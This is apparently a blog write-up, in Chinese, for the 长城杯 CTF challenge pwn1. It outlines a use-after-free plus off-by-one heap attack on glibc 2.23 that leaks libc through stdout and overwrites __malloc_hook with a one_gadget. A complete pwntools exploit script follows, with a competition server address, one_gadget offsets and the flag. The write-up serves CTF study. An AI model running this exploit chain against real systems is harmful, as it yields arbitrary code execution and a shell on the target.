[uaf + off by one -> stdout leak libc] 长城杯pwn1

1. ida分析

  1. 存在uaf 和 off by one,可以实现任意地址写
  2. 没有show函数,且保护全开,不能修改got表

2. 思路

  1. 使用stdout爆破,泄漏libc
  2. 先申请几个chunk,通过off by one,构造chunk lapping
  3. 再通过uaf修改fd,构成任意地址写
  4. 注意点就是,想法设法构造chunk复用
  5. uaf + off by one 总结一下就是,先del构造fastbin,再改chunk head构造unstored bin,再申请一个不是fastbin大小的chunk覆盖fastbin,修改fastbin的fd造成任意地址写

3. exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import *
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=False :sh.recvuntil(delims, drop)
rl      = lambda                    :sh.recvline()
irt     = lambda                    :sh.interactive()
pinfo   = lambda name,addr          :log.success('{} : {:#x}'.format(name, addr))

context(log_level = 'debug', arch = 'amd64')

elf = ELF('./pwn')
DEBUG = 1

if DEBUG:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    sh = process('./pwn')
else:
    IP = '47.104.175.110'
    PORT = '20066'
    libc = ELF('./libc.so.6')
    sh = remote(IP,PORT)


def add(idx,size):
    sla('>> ','1')
    sla('index:',str(idx))
    sla('size:',str(size))

def dele(idx):
    sla('>> ','2')
    sla('index:',str(idx))

def edit(idx,con):
    sla('>> ','3')
    sla('index:', str(idx))
    sa('context:',con)
def debug():
    gdb.attach(sh)
    pause()

def pwn():
    add(0,0x18)
    add(1,0x68)
    add(2,0x68)
    add(3,0x10)
    
    dele(1)
    edit(0,'a'*0x18 + '\xe1') #2.23 改完之后可以double free
    dele(1)
    
    add(1,1)
    edit(1,'\xdd\x25') #改 fd 为 stdout 爆破地址
    edit(0,'a'*0x18 + '\x71')

    add(4,0x68)
    add(5,0x68)
    edit(5,'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58)+'\n')
    stdout = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 131
    libc.address = stdout - libc.sym['_IO_2_1_stdout_']
    pinfo("libc.address",libc.address) #爆破泄漏 libc地址
    dele(2)
    add(6,0xb0)
    edit(6,'a'*0x48 + p64(0x71) + p64(libc.sym['__malloc_hook']-0x23)*2+'\n') #打malloc hook
    add(7,0x60)
    add(7,0x60)
    edit(7,'a'*0xb + p64(libc.address + 0x4527a)+p64(libc.sym['realloc']+11)+'\n')# 通过realloc调整rsp满足onegadget条件
    debug()
    add(8,0x88)
    
    irt()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''


if __name__ == '__main__':
    while True:
        try:
            pwn()
        except EOFError as e: 
            print("error,try again.")
            sh.close()
            sh = process('./pwn')
            #sh = remote(IP,PORT)
#flag{a3a6d84e-30b3-41ce-a6bc-158e2a975f73}
上一篇:【pwn】2021 绿城杯(部分)


下一篇:升级glic: 解决